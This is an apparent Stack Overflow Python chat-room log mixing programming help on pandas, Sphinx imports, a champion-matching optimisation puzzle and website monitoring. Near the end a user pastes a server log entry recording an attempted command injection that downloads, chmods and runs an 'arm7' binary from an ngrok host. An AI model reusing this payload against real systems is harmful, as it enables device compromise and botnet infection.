« first day (3496 days earlier)      last day (1466 days later) » 
04:00 - 21:0021:00 - 00:00

wim
4:22 AM
@Aran-Fey Can you please add // @include *://stackoverflow.com/questions to gist.github.com/Aran-Fey/421b9c3de872000101e79b5ec771898d/raw/…
sometimes I accidentally end up there and suddenly all the crap is back
aha, you get there by clicking the stackoverflow logo in the top banner
 
4:40 AM
dupe, not sure which target to use stackoverflow.com/questions/61742661/…
 
5:11 AM
Hey guys anyone with tensorflow knowledge here?
 
looks like no right now, but probably just ask and wait for someone who knows to appear in the room (provided your issue fits within the room guidelines; see the link from the room description at the upper right)
 
Okay, sorry. So let's say I have a huge array in a model, now in every batch during training I want to update specific rows of it. The matrix is of full dataset size, and batch contains specific rows. Is there a way to do it?
 
6:00 AM
@wim Done. I replaced that huge list with a regex, so let me know if I accidentally broke it on any page
 
@SOK Hi SOK, please take a look at the room rules. Please refrain from asking for help on new questions (<48h), in order to avoid separate discussions on SO and in chat.
 
SOK
thanks @MisterMiyagi i will have a look. Sorry
 
wim
6:45 AM
@Aran-Fey works, thank you
 
Hello, trying to insert a datetime with pandas to_sql using sqlalchemy. Sometimes there are null values and I can't see how to insert those. My error is 'Incorrect datetime value: 'NULL' for column 'date' at row 1', I can't see in any documentation how to handle said values
 
7:08 AM
Apologies, None is the correct term.
 
 
1 hour later…
8:23 AM
hey I have a function that is connected to a thread which return something continously to this function , how to execute the function only one time ?
 
So you have a thread and two functions? Which one of those functions do you want to call only once? Why is it being called more than once in the first place? And what does the thread have to do with anything?
 
@roblox which function do you want to execute only once? Why does it execute more than once? Functions usually don't do that.
 
I have event loop (pyqt) and test usually something in pyhton syntax first to understand it first
I have found this answer
to insert a counter as an decurator
 
Was that a reply to our questions?
 
yes :)
 
8:36 AM
Can we get some context here? So far we have a word salad (thread, function, event loop, syntax, counter, decorator) but absolutely no idea what you're doing with any of those or how they're related
 
8:46 AM
@roblox Can you please start at explaining the issue? Why is the function executed more than once in the first place? Is it called in some loop, for example?
 
9:09 AM
although we are less strict here in chat than on the main site, you will be saving our time as well as your own if you take a moment to read How to ask
 
17
Q: Creative Commons Licensing UI and Data Updates

Yaakov EllisWhen we last updated you to clarify concerns and answer questions about our transition to version 4.0 of the CC BY-SA license we committed to posting updates to the UI and addressing unanswered questions. I am happy to announce that we have met these goals. Shortly, UI and Data changes will be ma...

4
 
 
1 hour later…
10:20 AM
hi everyone! I'd like to build a "war planner", that is finding the best score that my team can obtain against another one. The game is that there are n enemies with different strength and I have a team of n champions. n>40 so that's why bruteforce is not an option and I'm here. I'm not sure backtracking is the correct way to solve this, because I don't know how to set proper constraints to make computation faster. Any help?
 
What's the goal, though? Picking the correct n champions out of a pool of m available champions? Rearranging n champions in a specific order? Something else?
 
all champions fight another champion, so it's like all permutations of 40 (40!)
 
So when a champion with strength x fights an enemy with strength y, the score you get is x-y?
 
no, let's say it's 20 if we win, 0 if we lose
 
So all you need to do is maximize the number of fights you win
right?
 
10:26 AM
exactly
with a huge number of permutations
 
That sounds easy, then. Sort the enemies and the champions by strength. Then loop over the enemies, and find the next champ that can beat that particular enemy
 
let's complicate it
enemies are arranged in "buildings", so you get bonus points if you take down one building
 
hmm, that's tough
 
brute force:
- keep enemy positions fixed, so it's easier (and faster?) to calculate the score
- create all possible permutations of my champions
- for each permutation, fight each building, calculate score, compare with max
 
It might still be a good idea to do what I said earlier as a first step: sort by strength, then find out which enemies you can beat with your weakest champs. As soon as you find an (enemy, champ) pair where your champ loses, you stop. You can then essentially remove those fights from the equation and consider them won
And the opposite can be done as well: The strongest enemies that you simply can not beat can also be removed from the equation
 
ok thanks, I'll try to do that while I hope that someone comes with a "known solution"
 
Hi
How do I change the background of a plot?
matplotlib
I want the background of the outside of the graph to be changed as well
 
@PM2Ring so you can force a relicense by editing anyone's post
@BlackThunder what did google say?
 
It just showed me how to change the bg color of INSIDE OF THE GRAPH
 
You need to set either the figure or the axes background
 
10:43 AM
I got it
:)
 
Whatever you end up doing, it will most likely be helpful to convert the "strength" of each enemy/champ to a number that represents how many of the weakest champs from the other team they can beat. For example, a champ that can't even beat the weakest enemy would have a strength of 0. A champ that can beat the weakest 10 enemies would have a strength of 10. This helps you eliminate complexity because two champs with the same strength are actually equivalent for the purpose of the simulation.
Like, if your weakest two champs have a strength of 50 and 60 respectively, but the weakest enemy has a strength of 70, then you don't need to worry about which one of those two champs you will sacrifice. Because they're exchangeable
 
let's add another complication :)
the enemy champions are n, but your champions are n/2 and each has 2 attacks. the complication is that each champion has 2 teams that are not interchangeable (n/2 positions require team A, n/2 positions require team B), so you have to calculate the best usage of the teams a champion have at his disposal
like 5 enemies are in New York and 5 in Miami and require team A, and 5 enemies are in San Diego and 5 in Los Angeles and require team B
 
10:59 AM
not really sure what that means, but it was already complicated enough, so... good luck :P
 
11:29 AM
can I connect to a data base if dont know which type (MySQl,...) ? or found out what type of database I want to connect to ?
 
what parameters do you know about that database?
 
@vault server, database, and pw
 
11:46 AM
myfirst try would be to use those parameteres to instantiate some common db connections: postgres, mysql, etc.
myfirst try would be to use those parameteres to instantiate some common db connections: postgres, mysql, etc.
 
 
2 hours later…
1:56 PM
@AndrasDeak Yes, and no. ;) The original continues to exist within the revision history with it's original license. When you make an edit, you are republishing a modified version, under the new license.
@vault If there's a set C of 40 champions fighting a set E of 40 enemies, then there are simply 40*40 pairs of fighters with one fighter in each pair coming from C and the other coming from E. That's quite a bit smaller than 40! ;)
 
@PM2Ring you have to fit all possible combinations of 40 players into 40 spots, isn't that 40! ?
once you choose a player for a spot (1 out of 40), then you have to choose among 39 players for 2nd spot, etc. that's 40*39*38 ... = 40!
 
2:13 PM
@vault you dont have to fit all possible combinations of 40 players into 40 spots. because why does it matter if team A player 1 goes in the 3rd round vs team B player 1, or the 4th? If those two together are paired up, it doesn't matter "which round" they face each other in.
unless im misunderstanding something here, that seems right to me
So, your problem isn't one of trying to fill 40 slots one by one from one team, and then the other. It's simply finding pairings from one pool vs another. like a cartesian product
 
@vault Yes, all possible orders of a set of 40 items is 40!, but I don't see why you need to create all of those orderings.
 
cbg folks, sorry i haven't been around lately
 
Hey, it's currently normal for things to not be normal. ;)
 
This is true :) I hope everyone stays well and healthy!
 
If you have the 2 champs and A and B and the 2 enemies X and Y, then there's a total of 2!=2 combinations: AX+BY, and AY+BX. Calculating 2*2=4 wouldn't give the correct result
 
2:25 PM
@Aran-Fey Ok. If you want to count total pairings like that, then sure, you can have a single fixed sequence of enemies, and then pair that sequence up with each of the 40! orderings of the champions (or vice versa). But in that scenario, each champion fights each enemy many times.
 
Why would a champ fight more than once? Each champ gets paired up with exactly one enemy
If you simulate all 40! combinations then sure, the same (champ, enemy) pair will show up many times
 
@Aran-Fey Maybe I didn't read the problem description properly...
 
I believe 40*40 is the number of unique pairs, but we're looking for unique sets of 40 (champ, enemy) pairs (in which each champ and enemy may only occur once, of course)
 
I think I get it now. @vault wants to find the (or a) optimal sequence of champions out of the 40! possible sequences, that maximizes the collective score for the champions.
 
Yeah, that sounds right. Although I'm not sure about calling it a "sequence", because I don't believe the order of the fights matters
 
2:39 PM
Sure, the fights can occur in parallel. We assign a fixed number from 1 to 40 to each enemy, i.e. we choose some fixed sequence for the enemies. Our task is to now choose one of the 40! sequences of champions, and then the corresponding fighters in each sequence fight each other.
Obviously, we don't want to do a brute force calculation of the results for all 40! sequences. That'd take far too long. 40! ~= 8.16E47
 
[this-won't-stop-me-because-I-can't-read-scientific-notation.jpg]
My main problem is really that we're trying to find the optimal solution - this basically means that you have to check every single combination except for a few where two champs are interchangeable. So things like heuristics don't really help at all
 
So I agree that sorting the 2 teams by order of strength is definitely a good idea. That probably won't give the optimal ordering except for special sets of strengths, though. I think. ;) You don't want to "waste" a champion by pairing him with an enemy who's stronger, but you probably want to pit him against the strongest enemy that he can win against.
 
Let me retract that statement: My main problem is the fact that I can hardly remember any of the stuff I learned about optimization problems. I'm sure there are algorithms for this kind of problem
 
@vault What's the scoring mechanism? If strength of A > streng of B, then A wins?
 
@PM2Ring Yeah, that was the goal. Sorting the two lists is just the first step you have to do to get there. Like I said, you'd loop over the enemies and for each enemy find the next champ that can win
 
2:53 PM
How is the outcome of a fight decided? Is it deterministic or probabilistic. That is, is the outcome purely decided on who has the greatest strength, or is there an element of randomness, and the strengths only tell you the probability of winning. Eg, if the champ has strength 10, and the enemy strength 20, does the champ have a probability of 10/(10 + 20) of winning, or something like that?
 
@PM2Ring but that's fairly trivial. If someone posts code A with the old license, and they don't want to distribute it with the new license, then someone edits a comment in the code and thus creates a copy with the new license, the code is available with the new license.
 
Oh wow, that would take the difficulty to a whole 'nother level
It's already complicated enough even with a guaranteed outcome!
 
I have a small df with two columns and 3 rows: first operation is to check if value is in columns 1 if df['column1'].str.contains('specific row').any(): if true I want to get the item in the same row but in the neighbour column
 
Basically allowing you to republish someone else's work.
 
is there a method for that in python ?
 
2:56 PM
@roblox use df['column1'].str.contains('specific row') as a boolean index into the other column
 
@AndrasDeak My bad, read that as a comment to the answer, not a comment in the answer code.
 
df.loc[that_boolean_index, 'column2'] or something like that
 
@Aran-Fey I'm sure there are. FWIW, I have an oldish SO answer that tackles a kind of inverse version of this. You have a pool of 2N players of known strength, and you want to divide the pool into two teams of N, such that the teams are of approximately equal strength, to make a game between the 2 teams interesting
@AndrasDeak True, but that's inherent in the way CC-BY-SA works anyway, that's not some kind of fabrication devised by SE Inc.
 
I guess.
 
@PM2Ring does SA allow sharing with a newer license version?
 
3:04 PM
@Aran-Fey I think it actually makes it easier to find viable solutions, although I guess it also means the solution space is larger. Eg, it's not a guaranteed loss if you can't find an unpaired enemy of lower score than your current champ. You have a reasonable chance of winning against an enemy with a slightly higher strength.
@MisterMiyagi I'm pretty sure that you can make a modified version & release it under a later version number. But I don't feel like reading CC docs right now. ;)
 
I'm mostly assuming it's a problem because otherwise SO would have had no problem just re-publishing all the content when they changed the license.
But I've been proof-reading a student's thesis until 1AM, so I have the mental capacities of meatloaf right now. And I don't mean the singer.
 
3:22 PM
I've been awake for 18 hours or so, and I didn't get much sleep last night, so I should probably try to get some sleep now. Rhubarb.
 
Rbrb, PM
 
hi I'm back
so, the order of the champions matters because in reality you have to pair a champion with a "place", and those places are grouped into buildings
@MisterMiyagi if champion_strength > enemy_strength: score += 20
 
grouping champs into buildings isn't quite the same thing as ordering them though
 
@PM2Ring It's enough for me to consider it deterministic. Actually it's not true that if my strength is greater than enemy's than I'm gonna win, but I won't consider those details. The rules are complicated, there are a lot of heroes that I can choose for a team, with a lot of different skills and effects
 
Like, it doesn't matter if a champ is at position 1 or position 2 if both of those are still in the same building
 
3:31 PM
correct
so it's actually less combinations per building
after your insight, this problem becomes a permutation of combinations
mmm wait
position 1 and position 2 have different scores, so the position of a champ inside a group matters
but if you're thinking about sorting champs inside buildings, you're right
 
@vault then you're basically down to sorting heroes and enemies and for each hero assign the strongest enemy less-strong than the hero. That should be reasonably O(n^2).
can't really comment on the buildings mechanic, since frankly I don't get the explanation.
 
the only thing I'm quite sure is that this is not 2 nested loops, it's not O(n^2)
I'll reformulate. It may also help me to make things clearer.
You have to face 40 enemies, each with its strength, distributed in 10 buildings (they are not 10 groups of 4). You have 40 champions, each with its strength, that you can use to fight those enemies. The fight is deterministic and you win if you're score is greater. If you defeat all enemies in a building, you get extra points.
 
3:51 PM
how does the enemy score points? same way as you?
 
The enemy scores points by planning the same war in another session, where your 40 champions are the defenders and they are the attackers; it does not influence my session
They are separate wars
 
how many points do you get for a building? is that fixed or does it scale by enemies or wins? At a certain point, fighting all buildings is worth it just to deny the enemy the bonus.
 
Its fixed, but it varies depending on how big is the building
 
"big" means number of enemies in the building?
 
yes
there are 3 buildings with 3 enemies, 6*4, 1*7
 
3:57 PM
is the bonus linear with the building size? i.e. is winning the 7 building the same as winning a 4 and 3 building combined?
 
it is kind of a "multiple knapsack problem", with the purpose of breaking as many knapsacks as possible
@MisterMiyagi a building with 3 spots gives 40 extra points, 4 -> 60, 7 -> 120
 
I was afraid you'd confirm it's a knapsack problem
If you think it's a knapsack problem, throw a heuristic at it.
 
I'm totally new to this kind of problems, I learned that today
 
How is the strength distribution for your heroes? is it uniform or are heroes close in strength? In other words, are there many combinations that cannot be won, or are they all roughly the same?
 
you can't predict that
well, my champions are almost always the same, and slowly grow daily
but enemies can vary greatly
one day can be super easy, the day after gets impossible to win a single building
 
4:46 PM
hello! any Sphinx user that can help me out with a question?
i posted it a long time ago but did not get much attention.. i still have not found an answer andwould really appreciate one
0
Q: Sphinx autodoc not importing module.submodule but importing module

Diego F Medina(I have been browsing among the Sphinx autodoc related answers for a while now but I have not been able to find a solution (nor a bug report, if it is the case) for this. Please feel free to point to an already answer if that is the case, in any way I would hihgly appreciate some help.) I am usi...

 
hmm
sys.path.insert(0, 'C:/ProgramData/Anaconda3/lib/site-packages')
sys.path.insert(0, os.path.abspath('../..'))
what does that ^ fix?
 
that line lets me import packages from my own lib
basically adding the location to the path
 
Do you put your own lib inside .../Anaconda3/lib/site-packages?
 
oh, you meant the second line
 
4:49 PM
but i even have the module.submodule problem with fairly standard modules
 
Are you running sphinx from anaconda? I wouldn't expect the first command to be needed
 
like scipy, numpy, dateutil
 
But I don't use anaconda nor sphinx so I'm not the one to help, it just seems weird to me
Am I reading this right that your sphinx command doesn't correspond to your anaconda env which you're trying to use it on?
 
i only have one (the default) conda env
so im guessing it does correspond..
i just commented out the first line but did not get any improvement
 
How are you running sphinx? With a standalone command sphinx?
 
4:59 PM
@DiegoFMedina does the sphinx build log report anything? for example, an import error for module.submodule?
Does sphinx use the same Python interpreter as your script/venv/app/...?
it's a bit fishy that you have to add site-packages to sys.path, since they should already be there if you use the correct interpreter.
 
@vault this sounds like a nightmare
 
i only have python installed through anaconda and only one version of python (3.6)
 
That sounds like the kind of assumption that can go wrong. You should check e.g. if which sphinx gives you an anaconda-related path
that's why I asked how you were running sphinx
 
you are right maybe i do not need the line of site-packages, i thought having it as an extra in the path would not do harm.. but in any case i just commented this line and still does not seem to work
 
You can't get an optimal line-up if the wins are not deterministic, so you'll need some stochastic... something... in your solution (combination of strength and building?). Not only that, but you insinuate that you plan to try solve this with a nested for loop. What is the actual application? Is this an actual game that you want to happen in reasonable time?
 
5:04 PM
@DiegoFMedina When you say "does not seem to work" – do you really only get the three lines of traceback shown in the question?
 
from numpy.random import normal
ModuleNotFoundError: No module named 'numpy.random'
 
I was expecting the first line to read Traceback (most recent call last):
 
Traceback (most recent call last):
File "~7\AppData\Roaming\Python\Python36\site-packages\sphinx\ext\autodoc.py", line 658, in import_object
__import__(self.modname)
File "~\simulation\scheme.py", line 9, in <module>
from numpy.random import normal
 
distinct lack of anaconda
 
~7\AppData\Roaming\Python\Python36\site-packages\ does not look like your Anaconda path
sphinx is using a different Python than you think it does
 
5:08 PM
the simplest solution would be to use anaconda's sphinx, and installing your package there too
 
@AndrasDeak how do i check this on windows?
 
you already have
 
ok ok yeah i think that is it
i do not have admin rights to install in the anaconda path
would there be a workaround?
 
how did you install anaconda if you don't have rights to install into its path?
 
I expect anaconda would be able to provide you with a local virtualenv-like env but I have no idea how or whether this is idiomatic
 
5:15 PM
i am confused on why it would understand where the module is if I use
import scipy.optimize as sp
sp.optimize.curve_fit(my_funct, x, y)
but not using:
import scipy.optimize as op
op.curve_fit(my_funct, x, y)
would adding something to the path or the environment fix that?
 
@DiegoFMedina in the first case you're using scipy.optimize.optimize.curve_fit
that should not exist
It's also possible you're trapped by some advanced trick done by something like spyder. Spyder will pre-import submodules for you, so if you write import scipy; scipy.optimize.curve_fit it will work. Do that with a regular python interpreter and it will fail.
you will definitely have to import the subpackage in this case, i.e. import scipy.optimize
 
@roganjosh yeah but it's very time consuming to do it manually
 
you r right i meant:
import scipy as sp
sp.optimize.curve_fit(my_funct, x, y)
@AndrasDeak i see.. i am indeed using Spyder and I did face this issue
 
gotcha, cc @roganjosh :P
you should start a fund for spyder victims
So...your code will probably work if you import the submodule. But you'll still be stuck with a dirty hack with those two lines of sys.path inserts.
Can someone with anaconda experience say if one can create a local virtualenv using anaconda?
 
@AndrasDeak the second sys.path insert is actually not uncommon for sphinx configs.
 
5:27 PM
Weird. Wouldn't that be needless if your package is installed?
 
Installing packages probably would solve 90% of all import related problems.
 
is this related?
https://stackoverflow.com/questions/61757015/import-submodule-in-python-anaconda
 
"install your package" is a surprisingly difficult to follow instruction, though
 
@AndrasDeak just popping to shops, back in 20 mins and will have a look :)
 
5:43 PM
no rush, just snarking at spyder
 
wim
May 25 '16 at 19:07, by Kevin
"A single global is a tragedy; a million globals is a database." -- Joseph Stalin (paraphrased)
 
5:58 PM
@AndrasDeak i would expect then to sphinx to work on the second case but not in the second.. as opposed to what actually happens, i.e. work in the first but fail to import the module with the full path
 
@DiegoFMedina yeah, that's weird. Are you sure that's really what's happening?
 
@AndrasDeak ha. Fun lessons, indeed :S
@AndrasDeak you can create a local virtualenv (if by local, you mean in the same directory) but it has issues. What's your line of thinking in how this fixes things?
namely, activating the env is a PITA, as the issue since you need to give the full path
 
@roganjosh Diego said he doesn't have admin rights to install stuff in anaconda...
 
@DiegoFMedina This is suspicious to me
What exactly blocks pip or conda into the Anaconda path but not some other path? Do you have command line access?
What I think you've actually done is originally had Anaconda set as the system python and then prepended your PATH with another installation of Python
And now you're misdiagnosing the issue. I've seen anti-virus or corporate lockdowns do all sorts of things, but never to allow you to install into some separate installation and not Anaconda
 
6:15 PM
@AndrasDeak yes just double checked
 
OK, thanks
I've got nothing
 
the anaconda installation is on the c: drive for some weird company policy we do not have rights to "C:\ProgramData" so for instance the only way i could install sphinx was by doing "pip install sphinx --user"
 
Do you have anaconda prompt?
 
So did you try conda install from that?
 
we only have a trusted repo for pip not conda
 
@DiegoFMedina or can you run anaconda prompt with Administrator privileges? I've only got a few more spaghetti strands to throw at this wall btw
 
the firewall would stop me from installing with conda
 
Is there a specific reason why you're using conda then?
 
Kevin'd
 
6:23 PM
i understand.. cmpny "security" policies can be ridiculously restrictive some times
 
@DiegoFMedina running pip install sphinx --user for the correct python version is exactly what you should do
 
If conda is hamstrung and pip works, I'd just go with a virtualenv that corresponds to your "trusted pip repo"
 
@DiegoFMedina You don't have to explain to me the frustrations :)
I still think you've borked your path. Unless you had miniconda, sphinx would be installed by default
And if that installation needs to alter other libraries in your Anaconda installation when it runs, which gets restricted, then it's something you need to take up with IT to whitelist some directories or something
@AndrasDeak This is completely viable unless they need numpy/pandas, in which case it will likely require installation from the unofficial binaries, which might cause other problems. I don't think we can solve this one
Then again, I've not tried a vanilla install for the last 2 years so maybe they made some changes to the scientific stack to make it easier to get running. That could genuinely be a thing now
 
6:45 PM
@roganjosh ah, windows problems, right
 
<best Tiny Tim impression I can muster>
Hmm, I was more going for the Xmas kid being yelled at from Windows and not the musician. Google Image search doesn't help me on this one
 
I want to use a Python script to verify my website is up. I tried adding a test to a unittest test suite to test that a request is .ok, but seems like requests and unittest don't play well together. Any thoughts?
 
Wouldn't the test suite test against a mocked site and not the actual site?
 
I'm not doing any mocking
it's just a bunch of demo code really.
(requests might be mocked by unittest automagically though...)
 
What's the stack?
 
6:52 PM
I don't know much about testing but I'd think that unit testing doesn't apply to checking if your website is up
 
This doesn't strike me as something that would be a unit test at all
 
(which is why requests would often get mocked away: you should be testing code and small blocks of it, independent of the network)
 
That's what I'm thinking, but it seemed like a simple thing to add to my tests, so I figured I'd give it a shot.
 
What would the purpose of that unittest be?
Someone installs your package and...they check if your website is up?
 
check if aaronhall.dev is up
 
6:53 PM
I get it, but why?
What bearing does the availability of your website have on the correctness of the code being tested?
 
IDK, I'm trying to teach myself web stuff and I figured that check would be nice to add to my Rube Goldberg machine hackery...
 
I think you want to make sure that your new deployment is up and running correctly?
 
in my experience tests are run after install and during development before something is merged in
 
just is it available, are pages expected available, etc...
Here's the code, I can put it elsewhere in a couple minutes:
class WebSiteUp(TestCase):
    def test_site(self):
        self.assertTrue(get(WEB_ROOT).ok)
 
But unittests don't do that without mocking a site, really
 
6:57 PM
is there a reason why you don't just run this as a regular script?
 
I think you've gone a step lower on the web stack than I can help with, sorry
 
I'm over-engineering everything - on purpose for the learning experience
 
I'd much more expect this thing to be a badge on github or something
 
oh bummer, fell for another language enthusiast...
 
@AaronHall I think that there is a reasonable chronology for WSGI to benchmark yourself against; you could follow Werkzeug through its versions. I'm not gonna be any use to you at this stage sorry, but it's cool you start at the deep, deep end :)
 
7:02 PM
Maybe it runs every five minutes, and when it fails the big green light shuts off and I get a siren and flashing red lights.
 
Or supervisor just restarts it. But sure; claxons :P
 
@AaronHall FWIW, if you find (or write) a framework suitable for that, let me know
 
See I was hoping you guys would already be all over this... :D
 
I can only offer a few domain specific tools that merely depend on one single monolithic, worldspanning blob made from barely documented middleware.
Can't recommend. :P
 
Simple idea is a cron job from my laptop, but how to alert on my laptop... can't send emails, ISP doesn't have those ports open...
 
7:09 PM
@AaronHall I think it's pretty cool. You could have different colours for when the site is up, but slow. Gold, green, yellow, orange, red etc
 
maybe I can use the notifications system...
 
I'm not sure exactly what you're trying to achieve. You're deconstructing the back end, but you could use websockets to send info to a dashboard, or AJAX pings for system traffic or are you deconstructing that part too?
I just can't get a feel for how far back you want to go back
 
well I don't want to have to manually check the server to know it's down
or if I'm being DDOS'd
But a dashboard is a good idea for the fun of it...
 
@roganjosh web assembly
 
css -> game of life -> logic gates...
 
7:21 PM
@AndrasDeak totally in the back of my mind :P
 
offtopic HNQ: has >$100K satellite in baggage, wants to fly on commercial airplane. Might be a new definition of "failure to launch..."
 
I think I found a decent mechanism to do notifications combined with requests and cron: devdungeon.com/content/desktop-notifications-linux-python - but I'll see what wim's pointing me to...
 
wim
yo, does dv reversal script still run daily? suddenly got 7 dv (!) on various years old posts last night and waiting to see if they reversed.
 
@smci Fun story for "Passengers or flight attendants roughly handling the luggage while attempting to pack the overhead bins". I know a guy that worked that conveyor belt that loads luggage into the fuselage. He forgot to disconnect it before driving off and peeled the plane like a tin can. £2m damage. They kept him on!
 
7:33 PM
@wim Yes, overnight. Midnight or 3 AM UTC.
 
@roganjosh looks like they invested £2m in training him...
 
@AaronHall the 200 or so "sponsors" on the aircraft were well impressed in their investment!
 
@smci at first glance I like the 2nd top answer - the problem isn't the value, it's the irreplaceability... not that I like the solution more, driving it is riskier than flying I think... they could fly and feel just as safe if it doesn't leave their hands...
by the way, does the certificate for aaronhall.dev seem ok?
it should redirect you to https if you use http...
and browsers shouldn't object....
 
Both work for me on mobile
 
nice. I tried setting up let's encrypt and I think it worked but I have nginx on verbose logging mode and I keep getting messages like this:
May 12 14:36:45 nixos nginx[24719]: 2020/05/12 14:36:45 [error] 1446#1446: recv() failed (110: Connection timed out) while requesting certificate status, responder: ocsp.int-x3.letsencrypt.org, peer: [2600:1400:d::17db:5c29]:80, certificate: "/var/lib/acme/aaronhall.dev/fullchain.pem"
May 12 14:36:45 nixos nginx[24719]: 2020/05/12 14:36:45 [error] 1446#1446: OCSP responder prematurely closed connection while requesting certificate status, responder: ocsp.int-x3.letsencrypt.org, peer: [2600:1400:d::17db:5c29]:80, certificate: "/var/lib/acme/aaronhall.dev/fullchain.pem"
 
7:51 PM
xx:36:xx timestamp won't have been me, though? Did you get it from my requests?
 
I doubt it's related to you, it keeps popping up every 8-10 minutes I think
 
Or is that how often you're trying to access it locally?
 
it has gone over 2 hours without popping up
and it happens over night about once per hour
 
I'm crap at this part, but maybe it's the automated certificate renewal failing? I got the impression I needed to update it manually every 3 months but... nope... letsencrypt does it ahead of time
 
Can I ask simple regex question here, the question is that how to get date of form that day should have digits 1 or 2, month also 1 or 2, but year of digit 2 or 4
 
8:00 PM
@jeea console.log -> ask the JS people?
regex flavours differ between languages
 
oh alright!!
 
@jeea I think your square brackets are wrong, but my reference would be Python regex...
@roganjosh Yeah I think so, and I think that means it's succeeding often enough to work, but sometimes failing (about once per hour?) but if it's failing once per hour, that doesn't really follow a random distribution...
oh, well, I have to work on something else, I'll figure this out later...
 
@jeea checkout regex101.com. You are likely looking for something akin to \d{2}|\d{4}.
 
@AaronHall don't read into what I said too much. It's a guess. But equally I wouldn't be surprised if a gigantic institution running regular tests would come through sporadically. 1446#1446: OCSP responder prematurely closed connection while requesting certificate status, responder: ocsp.int-x3.letsencrypt.org, peer: [2600:1400:d::17db:5c29]:80, certificate: "/var/lib/acme/aaronhall.dev/fullchain.pem" suggests that to me, but web-fear makes me suspicious of it being someone testing bounds
 
8:10 PM
it keeps getting hit with people testing vulnerabilities, here's a cute one:
May 12 06:31:32 nixos nginx[24719]: 2020/05/12 06:31:32 [info] 1446#1446: *2103 client sent HTTP/1.1 request without "Host" header while reading client request headers, client: 178.219.173.3, server: aaronhall.dev, request: "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1"
arm7?
ngrok.io redirects to ngrok.com... trail dies there, I guess.
 
@MisterMiyagi yes that is good website, going through it
 
I guess the keyPath argument gets eval'd on some systems? Maybe it abuses some kind of expansion? I presume IFS is the filename separator. it just rm's -f arm7 and replaces that with its own that it wgets, ensure's it can execute and then... executes it...
it would be interesting to do a full survey of all the attempted pwns of my server...
they started hitting me as soon as nginx was serving. I probably wouldn't have the hits if I had gone with ipv6 instead of 4... too much address space...
 
I think it more likely that it happened as soon as you registered the domain
 
8:26 PM
I didn't have DNS working for about a whole 24 hours (because I'm too dumb to follow instructions written unclearly and spanning multiple pages correctly)
But I did give Google the IPV4 to start with. Again, incorrectly...
 
<-- same story. It's not instant but I'm again getting out of my depth
 
When I configured it right, it was working within 30 minutes...
 
... unless it requires one of those regular-but-sporadic crawlers :P
stackoverflow.com/q/61760856/4799172 needs debugging details. It looks like they want to transfer to Twitter too
^ closed, thanks
 
04:00 - 21:0021:00 - 00:00

« first day (3496 days earlier)      last day (1466 days later) »